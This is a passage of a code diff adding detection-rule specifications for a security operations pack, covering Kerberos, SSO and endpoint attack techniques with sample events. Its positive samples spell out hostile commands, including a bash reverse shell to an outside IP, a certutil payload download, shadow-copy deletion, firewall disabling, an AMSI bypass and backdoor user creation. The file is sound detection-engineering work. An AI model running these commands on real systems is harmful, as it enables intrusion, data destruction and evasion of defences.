"name": "Golden Ticket Indicator (Anomalous TGT Lifetime)",+ "severity": "critical",+ "mitre": ["t1558.001"],+ "log_source": {"product": "windows", "service": "security"},+ "fields": {"event_id", "ticket_lifetime_hours"},+ "match_when": {"event_id": 4624, "logon_type": 3, "ticket_lifetime_hours_gt": 24},+ "fp": ["Forest-trust kerberos tickets (rare; allowlist trust)"],+ "playbook": "tpl-credential-theft",+ "positive": {"event_id": 4624, "logon_type": 3, "ticket_lifetime_hours": 720, "user": "[email protected]"},+ "negative": {"event_id": 4624, "logon_type": 3, "ticket_lifetime_hours": 8, "user": "[email protected]"},+ },+ {+ "slug": "silver-ticket",+ "name": "Silver Ticket Indicator (Service Ticket Without TGS Hit)",+ "severity": "critical",+ "mitre": ["t1558.002"],+ "log_source": {"product": "windows", "service": "security"},+ "fields": {"event_id", "tgs_event_seen"},+ "match_when": {"event_id": 4624, "logon_type": 3, "tgs_event_seen": False},+ "fp": ["Cached TGT reuse outside log retention window"],+ "playbook": "tpl-credential-theft",+ "positive": {"event_id": 4624, "logon_type": 3, "tgs_event_seen": False, "user": "service-account"},+ "negative": {"event_id": 4624, "logon_type": 3, "tgs_event_seen": True, "user": "service-account"},+ },+ # SSO/Federation (5)+ {+ "slug": "saml-response-anomaly",+ "name": "SAML Response with Mismatched Issuer or Future-Dated NotBefore",+ "severity": "critical",+ "mitre": ["t1606.002"],+ "log_source": {"product": "okta", "service": "system-log"},+ "fields": {"event_type", "issuer_valid", "notbefore_in_future"},+ "match_when": {"event_type": "user.authentication.sso", "any_of": [{"issuer_valid": False}, {"notbefore_in_future": True}]},+ "fp": ["Clock-skew between IDP and SP (rare; <2min)"],+ "playbook": "tpl-credential-theft",+ "positive": {"event_type": "user.authentication.sso", "issuer_valid": False, "notbefore_in_future": False, "user": "[email protected]"},+ "negative": {"event_type": "user.authentication.sso", "issuer_valid": True, "notbefore_in_future": False, "user": "[email protected]"},+ },+ {+ "slug": "federated-trust-modified",+ "name": "Federation Trust Relationship Modified",+ "severity": "critical",+ "mitre": ["t1556.007"],+ "log_source": {"product": "azure", "service": "azuread-audit"},+ "fields": {"operation_name"},+ "match_when": {"operation_name_in": ["Set domain authentication", "Set federation settings on domain"]},+ "fp": ["Approved federation cutover (must reference change ticket)"],+ "playbook": "tpl-defense-evasion",+ "positive": {"operation_name": "Set domain authentication", "domain": "corp.com"},+ "negative": {"operation_name": "Verify domain", "domain": "corp.com"},+ },+ {+ "slug": "idp-metadata-changed",+ "name": "IDP Metadata or Signing Cert Changed",+ "severity": "critical",+ "mitre": ["t1556"],+ "log_source": {"product": "okta", "service": "system-log"},+ "fields": {"event_type"},+ "match_when": {"event_type_in": ["app.idp.update_signing_certificate", "app.idp.update_metadata"]},+ "fp": ["Cert rotation (must be paired with rotation calendar)"],+ "playbook": "tpl-defense-evasion",+ "positive": {"event_type": "app.idp.update_signing_certificate", "app": "salesforce"},+ "negative": {"event_type": "app.idp.lifecycle.activate", "app": "salesforce"},+ },+ {+ "slug": "ca-policy-scope-broadened",+ "name": "Conditional Access Policy Scope Broadened (Less Restrictive)",+ "severity": "high",+ "mitre": ["t1562.001"],+ "log_source": {"product": "azure", "service": "azuread-audit"},+ "fields": {"operation_name", "policy_change"},+ "match_when": {"operation_name": "Update conditional access policy", "policy_change_in": ["scope-expanded", "exclusion-added"]},+ "fp": ["Onboarding new application to existing policy (ticketed)"],+ "playbook": "tpl-defense-evasion",+ "positive": {"operation_name": "Update conditional access policy", "policy_change": "exclusion-added", "policy_name": "MFA-required"},+ "negative": {"operation_name": "Update conditional access policy", "policy_change": "exclusion-removed", "policy_name": "MFA-required"},+ },+ {+ "slug": "federation-cross-tenant-access",+ "name": "Cross-Tenant Identity Access Granted",+ "severity": "high",+ "mitre": ["t1199"],+ "log_source": {"product": "azure", "service": "azuread-audit"},+ "fields": {"operation_name"},+ "match_when": {"operation_name": "Add cross-tenant access policy"},+ "fp": ["Approved B2B partnership (allowlisted partner-tenant)"],+ "playbook": "tpl-cloud-anomaly",+ "positive": {"operation_name": "Add cross-tenant access policy", "partner_tenant": "external-tenant-id"},+ "negative": {"operation_name": "Update cross-tenant access policy", "partner_tenant": "allowlisted-partner-tenant"},+ },+]++# fmt: ondiff --git a/scripts/detection_specs_index.py b/scripts/detection_specs_index.pynew file mode 100644index 000000000..47ff2fe76--- /dev/null+++ b/scripts/detection_specs_index.py@@ -0,0 +1,52 @@+"""+AiSOC Detection Pack v1 - Combined Specification Index+======================================================++Imports the rule tables from `detection_specs.py` and `detection_specs_part2.py`+and exposes a single `ALL_SPECS` list grouped by category.++The category names map directly onto subdirectories under `detections/`.+"""++from __future__ import annotations++from typing import Iterable++# Local imports must be relative to scripts/ (that is the cwd when invoked).+from detection_specs import CLOUD, IDENTITY # type: ignore[import-not-found]+from detection_specs_part2 import ( # type: ignore[import-not-found]+ APPLICATION,+ DATA_EXFIL,+ ENDPOINT,+ NETWORK,+)+++CATEGORIES: dict[str, list[dict]] = {+ "cloud": CLOUD,+ "identity": IDENTITY,+ "endpoint": ENDPOINT,+ "network": NETWORK,+ "application": APPLICATION,+ "data-exfil": DATA_EXFIL,+}+++def all_specs() -> Iterable[tuple[str, dict]]:+ """Yield (category, spec) tuples in deterministic order."""+ for category in sorted(CATEGORIES.keys()):+ for spec in CATEGORIES[category]:+ yield category, spec+++def total_counts() -> dict[str, int]:+ return {category: len(rules) for category, rules in CATEGORIES.items()}+++if __name__ == "__main__":+ counts = total_counts()+ total = sum(counts.values())+ print("AiSOC Detection Pack v1 spec counts:")+ for category, count in sorted(counts.items()):+ print(f" {category:14s} {count:4d}")+ print(f" {'TOTAL':14s} {total:4d}")diff --git a/scripts/detection_specs_part2.py b/scripts/detection_specs_part2.pynew file mode 100644index 000000000..f34152fa9--- /dev/null+++ b/scripts/detection_specs_part2.py@@ -0,0 +1,1616 @@+"""+AiSOC Detection Pack v1 - Rule Specifications (part 2 of 2)+============================================================++Continuation of `scripts/detection_specs.py` covering:+ endpoint: 40+ network: 30+ application: 30+ data-exfil: 20+ -------------------+ subtotal: 120++Combined with cloud (40) + identity (40) from part 1 = 200.+"""++from __future__ import annotations++# fmt: off++# =============================================================================+# ENDPOINT (40)+# =============================================================================+ENDPOINT: list[dict] = [+ # Initial access / execution (10)+ {+ "slug": "lolbas-execution",+ "name": "LOLBAS Binary Used for Download or Execution",+ "description": "Detects living-off-the-land binaries (LOLBAS) being used to download payloads or execute remote code. These binaries are commonly abused by attackers because they are signed by Microsoft and bypass simple application whitelisting.",+ "severity": "high",+ "mitre": ["t1218"],+ "log_source": {"product": "edr", "service": "process-create"},+ "fields": {"image_basename", "command_line"},+ "match_when": {"image_basename_in": ["regsvr32.exe", "rundll32.exe", "mshta.exe", "certutil.exe", "bitsadmin.exe", "installutil.exe", "msbuild.exe", "wmic.exe"], "command_line_contains_any": ["http", "/i:", "downloadfile", "scrobj.dll", "/transfer", "wsh"]},+ "fp": ["Legitimate admin scripting (rare; tag known scripts)"],+ "playbook": "tpl-malware-execution",+ "positive": {"image_basename": "certutil.exe", "command_line": "certutil.exe -urlcache -split -f http://evil/payload.exe", "host": "wks-001"},+ "negative": {"image_basename": "certutil.exe", "command_line": "certutil.exe -hashfile foo.txt SHA256", "host": "wks-001"},+ },+ {+ "slug": "credential-dumping-lsass",+ "name": "LSASS Memory Read by Untrusted Process",+ "description": "Detects when a process reads LSASS memory with access masks consistent with credential extraction (Mimikatz-style). LSASS holds plaintext password hashes and Kerberos tickets in memory; access from anything other than allowlisted security software is a strong compromise indicator.",+ "severity": "critical",+ "mitre": ["t1003.001"],+ "log_source": {"product": "edr", "service": "object-access"},+ "fields": {"target_image", "granted_access_mask", "source_image"},+ "match_when": {"target_image_endswith": "lsass.exe", "granted_access_mask_contains_any": ["0x10", "0x1010", "0x1410", "0x1438", "0x143a", "0x1fffff"], "source_image_not_in_allowlist": True},+ "fp": ["Antivirus and security tools (allowlist by signed publisher)"],+ "playbook": "tpl-credential-theft",+ "positive": {"target_image": "C:\\Windows\\System32\\lsass.exe", "granted_access_mask": "0x1010", "source_image": "C:\\Users\\Public\\dump.exe", "source_image_not_in_allowlist": True},+ "negative": {"target_image": "C:\\Windows\\System32\\lsass.exe", "granted_access_mask": "0x1010", "source_image": "C:\\Program Files\\Microsoft Defender\\MsMpEng.exe", "source_image_not_in_allowlist": False},+ },+ {+ "slug": "ransomware-file-extension-change",+ "name": "Mass File Extension Rename Indicative of Ransomware",+ "description": "Detects bulk file rename operations where file extensions are changed to novel patterns within a short time window. This is a high-fidelity indicator of ransomware encryption activity.",+ "severity": "critical",+ "mitre": ["t1486"],+ "log_source": {"product": "edr", "service": "file-rename"},+ "fields": {"rename_count_per_process", "extension_change_pattern", "time_window_minutes"},+ "match_when": {"rename_count_per_process_gt": 200, "extension_change_pattern": "to-novel-extension", "time_window_minutes_lt": 5},+ "fp": ["Bulk archive operations (must be in allowlisted backup tools)"],+ "playbook": "tpl-ransomware",+ "positive": {"rename_count_per_process": 1500, "extension_change_pattern": "to-novel-extension", "time_window_minutes": 2, "process": "encrypt.exe", "host": "wks-001"},+ "negative": {"rename_count_per_process": 5, "extension_change_pattern": "to-known-archive", "time_window_minutes": 30, "process": "7z.exe", "host": "wks-001"},+ },+ {+ "slug": "office-spawn-shell",+ "name": "Office Application Spawns Shell or Scripting Engine",+ "severity": "high",+ "mitre": ["t1059", "t1204.002"],+ "log_source": {"product": "edr", "service": "process-create"},+ "fields": {"parent_image_basename", "image_basename"},+ "match_when": {"parent_image_basename_in": ["winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe"], "image_basename_in": ["powershell.exe", "cmd.exe", "wscript.exe", "cscript.exe", "mshta.exe"]},+ "fp": ["Legitimate macros (rare; tag with macro-allowlist)"],+ "playbook": "tpl-malware-execution",+ "positive": {"parent_image_basename": "winword.exe", "image_basename": "powershell.exe", "host": "wks-001"},+ "negative": {"parent_image_basename": "winword.exe", "image_basename": "splwow64.exe", "host": "wks-001"},+ },+ {+ "slug": "powershell-encoded-command",+ "name": "PowerShell with Encoded Command and Bypass Flag",+ "severity": "high",+ "mitre": ["t1059.001", "t1027"],+ "log_source": {"product": "edr", "service": "process-create"},+ "fields": {"image_basename", "command_line"},+ "match_when": {"image_basename": "powershell.exe", "command_line_contains_all": ["-enc", "-exec"], "command_line_contains_any": ["bypass", "unrestricted"]},+ "fp": ["Vendor management agents (allowlist by signed publisher)"],+ "playbook": "tpl-malware-execution",+ "positive": {"image_basename": "powershell.exe", "command_line": "powershell.exe -exec bypass -enc JABzAD0AJwBoAGsAJwA=", "host": "wks-001"},+ "negative": {"image_basename": "powershell.exe", "command_line": "powershell.exe -ExecutionPolicy AllSigned -File C:\\scripts\\ok.ps1", "host": "wks-001"},+ },+ {+ "slug": "wmi-process-creation",+ "name": "Process Created via WMI by Non-Admin Tool",+ "severity": "high",+ "mitre": ["t1047"],+ "log_source": {"product": "edr", "service": "process-create"},+ "fields": {"parent_image_basename", "image_basename"},+ "match_when": {"parent_image_basename_in": ["wmiprvse.exe"], "image_basename_in_allowlist": False},+ "fp": ["SCCM / Intune agents (allowlist signed publisher)"],+ "playbook": "tpl-lateral-movement",+ "positive": {"parent_image_basename": "wmiprvse.exe", "image_basename": "powershell.exe", "image_basename_in_allowlist": False, "host": "wks-001"},+ "negative": {"parent_image_basename": "wmiprvse.exe", "image_basename": "ccmexec.exe", "image_basename_in_allowlist": True, "host": "wks-001"},+ },+ {+ "slug": "scheduled-task-create-suspicious",+ "name": "Scheduled Task Created Pointing to Suspicious Path",+ "severity": "high",+ "mitre": ["t1053.005"],+ "log_source": {"product": "edr", "service": "scheduled-task"},+ "fields": {"event_type", "task_command_path"},+ "match_when": {"event_type": "ScheduledTaskCreate", "task_command_path_startswith_any": ["C:\\Users\\Public\\", "C:\\ProgramData\\", "C:\\Windows\\Temp\\"]},+ "fp": ["Software installers (allowlist by signed publisher)"],+ "playbook": "tpl-persistence",+ "positive": {"event_type": "ScheduledTaskCreate", "task_command_path": "C:\\Users\\Public\\beacon.exe", "host": "wks-001"},+ "negative": {"event_type": "ScheduledTaskCreate", "task_command_path": "C:\\Program Files\\Updater\\update.exe", "host": "wks-001"},+ },+ {+ "slug": "registry-runkey-write",+ "name": "Persistence via Registry Run Key Write",+ "severity": "high",+ "mitre": ["t1547.001"],+ "log_source": {"product": "edr", "service": "registry"},+ "fields": {"event_type", "registry_path"},+ "match_when": {"event_type": "RegistryValueSet", "registry_path_in": ["HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce"]},+ "fp": ["Software installers (allowlist by signed publisher)"],+ "playbook": "tpl-persistence",+ "positive": {"event_type": "RegistryValueSet", "registry_path": "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "value_data": "C:\\Users\\Public\\beacon.exe", "host": "wks-001"},+ "negative": {"event_type": "RegistryValueSet", "registry_path": "HKCU\\Software\\Microsoft\\Office\\Common\\Settings", "host": "wks-001"},+ },+ {+ "slug": "service-install-binary-suspicious",+ "name": "New Service Installed with Suspicious Binary Path",+ "severity": "high",+ "mitre": ["t1543.003"],+ "log_source": {"product": "windows", "service": "system"},+ "fields": {"event_id", "service_path"},+ "match_when": {"event_id": 7045, "service_path_startswith_any": ["C:\\Users\\", "C:\\ProgramData\\", "C:\\Windows\\Temp\\"]},+ "fp": ["Vendor agents installed during onboarding (must be allowlisted by publisher)"],+ "playbook": "tpl-persistence",+ "positive": {"event_id": 7045, "service_path": "C:\\Users\\Public\\beacon.exe", "host": "wks-001"},+ "negative": {"event_id": 7045, "service_path": "C:\\Program Files\\Vendor\\agent.exe", "host": "wks-001"},+ },+ {+ "slug": "psexec-style-binary-write-admin-share",+ "name": "Binary Written to ADMIN$ via SMB",+ "severity": "high",+ "mitre": ["t1021.002"],+ "log_source": {"product": "edr", "service": "file-create"},+ "fields": {"event_type", "file_path", "image_basename_creator"},+ "match_when": {"event_type": "FileCreate", "file_path_contains": "ADMIN$", "file_path_endswith": ".exe"},+ "fp": ["SCCM agent deployment (allowlist signed publisher)"],+ "playbook": "tpl-lateral-movement",+ "positive": {"event_type": "FileCreate", "file_path": "\\\\target\\ADMIN$\\PSEXESVC.exe", "image_basename_creator": "psexec.exe", "host": "wks-001"},+ "negative": {"event_type": "FileCreate", "file_path": "C:\\Users\\user\\Documents\\report.docx", "image_basename_creator": "winword.exe", "host": "wks-001"},+ },+ # Defense evasion (10)+ {+ "slug": "edr-unload-attempt",+ "name": "EDR / AV Service Stopped or Unloaded",+ "severity": "critical",+ "mitre": ["t1562.001"],+ "log_source": {"product": "edr", "service": "service"},+ "fields": {"event_type", "service_name"},+ "match_when": {"event_type": "ServiceStop", "service_name_in": ["WinDefend", "Sense", "MsMpEng", "CrowdStrike", "SentinelOne", "CarbonBlack"]},+ "fp": ["Approved upgrade (must reference change ticket)"],+ "playbook": "tpl-defense-evasion",+ "positive": {"event_type": "ServiceStop", "service_name": "WinDefend", "actor": "[email protected]", "host": "wks-001"},+ "negative": {"event_type": "ServiceStart", "service_name": "WinDefend", "actor": "[email protected]", "host": "wks-001"},+ },+ {+ "slug": "shadow-copy-deletion",+ "name": "Volume Shadow Copies Deleted",+ "severity": "critical",+ "mitre": ["t1490"],+ "log_source": {"product": "edr", "service": "process-create"},+ "fields": {"image_basename", "command_line"},+ "match_when": {"image_basename_in": ["vssadmin.exe", "wmic.exe", "diskshadow.exe", "wbadmin.exe"], "command_line_contains_any": ["delete shadows", "shadowcopy delete", "delete catalog -quiet"]},+ "fp": ["Backup software cleaning old shadows (must be allowlisted)"],+ "playbook": "tpl-ransomware",+ "positive": {"image_basename": "vssadmin.exe", "command_line": "vssadmin.exe delete shadows /all /quiet", "host": "wks-001"},+ "negative": {"image_basename": "vssadmin.exe", "command_line": "vssadmin.exe list shadows", "host": "wks-001"},+ },+ {+ "slug": "windows-event-log-cleared",+ "name": "Windows Event Log Cleared",+ "severity": "critical",+ "mitre": ["t1070.001"],+ "log_source": {"product": "windows", "service": "security"},+ "fields": {"event_id"},+ "match_when": {"event_id_in": [1102, 104]},+ "fp": ["Forensic export with explicit migration ticket"],+ "playbook": "tpl-defense-evasion",+ "positive": {"event_id": 1102, "user": "[email protected]", "host": "wks-001"},+ "negative": {"event_id": 4624, "user": "[email protected]", "host": "wks-001"},+ },+ {+ "slug": "firewall-disabled-host",+ "name": "Host Firewall Disabled",+ "severity": "high",+ "mitre": ["t1562.004"],+ "log_source": {"product": "edr", "service": "process-create"},+ "fields": {"image_basename", "command_line"},+ "match_when": {"image_basename": "netsh.exe", "command_line_contains_all": ["advfirewall", "set", "off"]},+ "fp": ["Troubleshooting (must be ticketed)"],+ "playbook": "tpl-defense-evasion",+ "positive": {"image_basename": "netsh.exe", "command_line": "netsh advfirewall set allprofiles state off", "host": "wks-001"},+ "negative": {"image_basename": "netsh.exe", "command_line": "netsh advfirewall show allprofiles", "host": "wks-001"},+ },+ {+ "slug": "process-injection-cross-process-thread",+ "name": "Cross-Process Remote Thread Injection",+ "severity": "high",+ "mitre": ["t1055"],+ "log_source": {"product": "edr", "service": "thread"},+ "fields": {"event_type", "source_image_basename", "target_image_basename"},+ "match_when": {"event_type": "CreateRemoteThread", "source_image_basename_not_in_allowlist": True, "target_image_basename_in": ["explorer.exe", "svchost.exe", "lsass.exe", "winlogon.exe"]},+ "fp": ["Debuggers (allowlist by signed publisher)"],+ "playbook": "tpl-malware-execution",+ "positive": {"event_type": "CreateRemoteThread", "source_image_basename": "rundll32.exe", "source_image_basename_not_in_allowlist": True, "target_image_basename": "explorer.exe", "host": "wks-001"},+ "negative": {"event_type": "CreateRemoteThread", "source_image_basename": "MsMpEng.exe", "source_image_basename_not_in_allowlist": False, "target_image_basename": "explorer.exe", "host": "wks-001"},+ },+ {+ "slug": "amsi-bypass",+ "name": "AMSI Bypass via DLL or Reflective Patch",+ "severity": "high",+ "mitre": ["t1562.001"],+ "log_source": {"product": "edr", "service": "process-create"},+ "fields": {"image_basename", "command_line"},+ "match_when": {"image_basename": "powershell.exe", "command_line_contains_any": ["AmsiUtils", "AmsiInitFailed", "amsi.dll"]},+ "fp": ["Legitimate AMSI debugging in security R&D (allowlist users)"],+ "playbook": "tpl-defense-evasion",+ "positive": {"image_basename": "powershell.exe", "command_line": "powershell.exe -c \"[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')...\"", "host": "wks-001"},+ "negative": {"image_basename": "powershell.exe", "command_line": "powershell.exe -File C:\\scripts\\monitor.ps1", "host": "wks-001"},+ },+ {+ "slug": "etw-tampering",+ "name": "ETW Tampering / Logging Disable",+ "severity": "high",+ "mitre": ["t1562.006"],+ "log_source": {"product": "edr", "service": "process-create"},+ "fields": {"image_basename", "command_line"},+ "match_when": {"any_of": [{"image_basename": "logman.exe", "command_line_contains": "stop"}, {"image_basename": "wevtutil.exe", "command_line_contains_any": ["sl", "/e:false", "cl"]}]},+ "fp": ["Vendor agents managing trace lifecycle (allowlist signed publisher)"],+ "playbook": "tpl-defense-evasion",+ "positive": {"image_basename": "wevtutil.exe", "command_line": "wevtutil.exe sl Microsoft-Windows-PowerShell/Operational /e:false", "host": "wks-001"},+ "negative": {"image_basename": "wevtutil.exe", "command_line": "wevtutil.exe el", "host": "wks-001"},+ },+ {+ "slug": "host-files-modified",+ "name": "Hosts File Modified",+ "severity": "medium",+ "mitre": ["t1565.001"],+ "log_source": {"product": "edr", "service": "file-write"},+ "fields": {"event_type", "file_path"},+ "match_when": {"event_type": "FileWrite", "file_path_endswith": "\\drivers\\etc\\hosts"},+ "fp": ["Localhost development entries by developers (allowlist users)"],+ "playbook": "tpl-defense-evasion",+ "positive": {"event_type": "FileWrite", "file_path": "C:\\Windows\\System32\\drivers\\etc\\hosts", "actor": "[email protected]", "host": "wks-001"},+ "negative": {"event_type": "FileWrite", "file_path": "C:\\Users\\dev\\dev-hosts.bak", "actor": "[email protected]", "host": "wks-001"},+ },+ {+ "slug": "image-load-suspicious-signing",+ "name": "DLL Loaded with Invalid or Untrusted Signature",+ "severity": "medium",+ "mitre": ["t1574.002"],+ "log_source": {"product": "edr", "service": "image-load"},+ "fields": {"event_type", "image_basename_loaded", "signature_status"},+ "match_when": {"event_type": "ImageLoad", "image_basename_loaded_endswith": ".dll", "signature_status_in": ["Invalid", "Expired", "Untrusted"]},+ "fp": ["Internal-only LOB DLLs (allowlist by hash)"],+ "playbook": "tpl-malware-execution",+ "positive": {"event_type": "ImageLoad", "image_basename_loaded": "evil.dll", "signature_status": "Invalid", "host": "wks-001"},+ "negative": {"event_type": "ImageLoad", "image_basename_loaded": "kernel32.dll", "signature_status": "Valid", "host": "wks-001"},+ },+ {+ "slug": "remote-image-load-from-share",+ "name": "DLL Loaded From Network Share",+ "severity": "high",+ "mitre": ["t1574.002"],+ "log_source": {"product": "edr", "service": "image-load"},+ "fields": {"event_type", "image_loaded_path"},+ "match_when": {"event_type": "ImageLoad", "image_loaded_path_startswith": "\\\\"},+ "fp": ["Centrally deployed plugin DLLs (allowlist server share)"],+ "playbook": "tpl-malware-execution",+ "positive": {"event_type": "ImageLoad", "image_loaded_path": "\\\\filesvr\\public\\evil.dll", "host": "wks-001"},+ "negative": {"event_type": "ImageLoad", "image_loaded_path": "C:\\Windows\\System32\\kernel32.dll", "host": "wks-001"},+ },+ # Linux / Unix endpoint (10)+ {+ "slug": "suid-binary-creation",+ "name": "SUID/SGID Binary Created",+ "severity": "high",+ "mitre": ["t1548.001"],+ "log_source": {"product": "linux", "service": "auditd"},+ "fields": {"event_type", "permissions"},+ "match_when": {"event_type": "PATH", "permissions_has_any": ["S_ISUID", "S_ISGID"]},+ "fp": ["Package installers (must be triggered by dpkg/yum)"],+ "playbook": "tpl-privilege-escalation",+ "positive": {"event_type": "PATH", "permissions": ["S_ISUID"], "path": "/tmp/.helper", "host": "linux-01"},+ "negative": {"event_type": "PATH", "permissions": ["S_IRUSR", "S_IWUSR"], "path": "/tmp/notes.txt", "host": "linux-01"},+ },+ {+ "slug": "kernel-module-load-suspicious",+ "name": "Kernel Module Loaded from Non-Standard Path",+ "severity": "high",+ "mitre": ["t1547.006"],+ "log_source": {"product": "linux", "service": "auditd"},+ "fields": {"event_type", "module_path"},+ "match_when": {"event_type": "MODULE", "module_path_not_startswith": "/lib/modules/"},+ "fp": ["Custom kernel R&D (allowlist hosts)"],+ "playbook": "tpl-persistence",+ "positive": {"event_type": "MODULE", "module_path": "/tmp/rootkit.ko", "host": "linux-01"},+ "negative": {"event_type": "MODULE", "module_path": "/lib/modules/5.15.0/kernel/fs/nfs.ko", "host": "linux-01"},+ },+ {+ "slug": "cronjob-suspicious-path",+ "name": "Cron Job Created Pointing to /tmp or /dev/shm",+ "severity": "high",+ "mitre": ["t1053.003"],+ "log_source": {"product": "linux", "service": "auditd"},+ "fields": {"event_type", "file_path", "command_text"},+ "match_when": {"event_type": "PATH", "file_path_startswith_any": ["/etc/cron", "/var/spool/cron"], "command_text_contains_any": ["/tmp/", "/dev/shm/", "curl", "wget"]},+ "fp": ["Vendor packaged cron jobs (must be from package manager)"],+ "playbook": "tpl-persistence",+ "positive": {"event_type": "PATH", "file_path": "/etc/cron.d/update", "command_text": "*/5 * * * * /tmp/.beacon", "host": "linux-01"},+ "negative": {"event_type": "PATH", "file_path": "/etc/cron.daily/logrotate", "command_text": "logrotate /etc/logrotate.conf", "host": "linux-01"},+ },+ {+ "slug": "shell-from-web-server",+ "name": "Shell Spawned by Web Server Process",+ "severity": "critical",+ "mitre": ["t1059.004", "t1505.003"],+ "log_source": {"product": "linux", "service": "auditd"},+ "fields": {"parent_image_basename", "image_basename"},+ "match_when": {"parent_image_basename_in": ["nginx", "apache2", "httpd", "php-fpm", "node", "java"], "image_basename_in": ["bash", "sh", "zsh", "ksh", "dash"]},+ "fp": ["CGI applications by design (allowlist by app)"],+ "playbook": "tpl-webshell",+ "positive": {"parent_image_basename": "php-fpm", "image_basename": "bash", "host": "web-01"},+ "negative": {"parent_image_basename": "systemd", "image_basename": "bash", "host": "web-01"},+ },+ {+ "slug": "reverse-shell-bash",+ "name": "Reverse Shell Pattern from /bin/bash",+ "severity": "critical",+ "mitre": ["t1059.004"],+ "log_source": {"product": "linux", "service": "auditd"},+ "fields": {"image_basename", "command_line"},+ "match_when": {"image_basename": "bash", "command_line_contains_any": ["bash -i >& /dev/tcp/", "0<&196;exec 196<>/dev/tcp/", "bash -c \"bash -i\""]},+ "fp": ["Red-team / pentest exercises (must be ticketed)"],+ "playbook": "tpl-malware-execution",+ "positive": {"image_basename": "bash", "command_line": "bash -i >& /dev/tcp/198.51.100.5/4444 0>&1", "host": "linux-01"},+ "negative": {"image_basename": "bash", "command_line": "bash -c 'echo hello'", "host": "linux-01"},+ },+ {+ "slug": "user-add-suspicious",+ "name": "Unix User Added with Login Shell",+ "severity": "high",+ "mitre": ["t1136.001"],+ "log_source": {"product": "linux", "service": "auditd"},+ "fields": {"event_type", "command_line"},+ "match_when": {"event_type": "USER_ADD", "command_line_contains_any": ["/bin/bash", "/bin/sh"]},+ "fp": ["Provisioning of new operator account (ticketed)"],+ "playbook": "tpl-persistence",+ "positive": {"event_type": "USER_ADD", "command_line": "useradd -m -s /bin/bash backdoor", "host": "linux-01"},+ "negative": {"event_type": "USER_ADD", "command_line": "useradd -r -s /usr/sbin/nologin svc-app", "host": "linux-01"},+ },+ {+ "slug": "ssh-key-added-authorized",+ "name": "SSH authorized_keys File Modified",+ "severity": "high",+ "mitre": ["t1098.004"],+ "log_source": {"product": "linux", "service": "auditd"},+ "fields": {"event_type", "file_path"},+ "match_when": {"event_type_in": ["PATH", "FILE_WRITE"], "file_path_endswith": "/.ssh/authorized_keys"},+ "fp": ["Provisioning tools (must be allowlisted)"],+ "playbook": "tpl-persistence",+ "positive": {"event_type": "PATH", "file_path": "/home/user/.ssh/authorized_keys", "actor": "user", "host": "linux-01"},+ "negative": {"event_type": "PATH", "file_path": "/home/user/.bashrc", "actor": "user", "host": "linux-01"},+ },+ {+ "slug": "container-privileged-launch",+ "name": "Container Launched with --privileged Flag",+ "severity": "high",+ "mitre": ["t1611"],+ "log_source": {"product": "linux", "service": "auditd"},+ "fields": {"image_basename", "command_line"},+ "match_when": {"image_basename_in": ["docker", "podman"], "command_line_contains_any": ["--privileged", "-v /:/host"]},+ "fp": ["Allowlisted node-debug containers (kubectl-debug)"],+ "playbook": "tpl-container-escape",+ "positive": {"image_basename": "docker", "command_line": "docker run --privileged ubuntu:latest", "host": "node-01"},+ "negative": {"image_basename": "docker", "command_line": "docker run --rm alpine sh", "host": "node-01"},+ },+ {+ "slug": "container-mount-host-fs",+ "name": "Container Mounts Host Filesystem at /host",+ "severity": "high",+ "mitre": ["t1611"],+ "log_source": {"product": "kubernetes", "service": "audit"},+ "fields": {"verb", "object_resource", "volume_path"},+ "match_when": {"verb": "create", "object_resource": "pods", "volume_path": "/"},+ "fp": ["node-problem-detector / debug DaemonSets (allowlist namespace)"],+ "playbook": "tpl-container-escape",+ "positive": {"verb": "create", "object_resource": "pods", "volume_path": "/", "namespace": "default", "user": "[email protected]"},+ "negative": {"verb": "create", "object_resource": "pods", "volume_path": "/var/log", "namespace": "kube-system", "user": "system:nodes"},+ },+ {+ "slug": "kube-exec-into-prod-pod",+ "name": "kubectl exec Into Production Namespace by Non-Operator",+ "severity": "high",+ "mitre": ["t1609"],+ "log_source": {"product": "kubernetes", "service": "audit"},+ "fields": {"verb", "object_resource", "subresource", "namespace", "user_role"},+ "match_when": {"verb": "create", "object_resource": "pods", "subresource": "exec", "namespace": "production", "user_role_not_in": ["operator", "admin"]},+ "fp": ["Approved on-call investigation (must be on-call)"],+ "playbook": "tpl-cloud-anomaly",+ "positive": {"verb": "create", "object_resource": "pods", "subresource": "exec", "namespace": "production", "user_role": "developer", "user": "[email protected]"},+ "negative": {"verb": "create", "object_resource": "pods", "subresource": "exec", "namespace": "production", "user_role": "operator", "user": "[email protected]"},+ },+ # macOS endpoint (5)+ {+ "slug": "macos-launchagent-write",+ "name": "macOS LaunchAgent or LaunchDaemon Plist Created",+ "severity": "high",+ "mitre": ["t1543.001", "t1543.004"],+ "log_source": {"product": "macos", "service": "endpointsecurity"},+ "fields": {"event_type", "file_path"},+ "match_when": {"event_type": "ES_EVENT_TYPE_NOTIFY_CREATE", "file_path_startswith_any": ["/Library/LaunchAgents/", "/Library/LaunchDaemons/", "/Users/Shared/"]},+ "fp": ["Software installers from notarized publishers (allowlist signing-team-id)"],+ "playbook": "tpl-persistence",+ "positive": {"event_type": "ES_EVENT_TYPE_NOTIFY_CREATE", "file_path": "/Library/LaunchAgents/com.evil.beacon.plist", "host": "mac-01"},+ "negative": {"event_type": "ES_EVENT_TYPE_NOTIFY_CREATE", "file_path": "/Users/alice/Documents/notes.txt", "host": "mac-01"},+ },+ {+ "slug": "macos-tcc-bypass-attempt",+ "name": "macOS TCC Bypass Pattern (Direct DB Write)",+ "severity": "high",+ "mitre": ["t1556.006"],+ "log_source": {"product": "macos", "service": "endpointsecurity"},+ "fields": {"image_basename", "command_line"},+ "match_when": {"image_basename": "sqlite3", "command_line_contains_any": ["TCC.db", "kTCCService"]},+ "fp": ["Apple support tooling (rare)"],+ "playbook": "tpl-defense-evasion",+ "positive": {"image_basename": "sqlite3", "command_line": "sqlite3 ~/Library/Application\\ Support/com.apple.TCC/TCC.db", "host": "mac-01"},+ "negative": {"image_basename": "sqlite3", "command_line": "sqlite3 ~/notes.db", "host": "mac-01"},+ },+ {+ "slug": "macos-osascript-spawn",+ "name": "Suspicious AppleScript Execution via osascript",+ "severity": "high",+ "mitre": 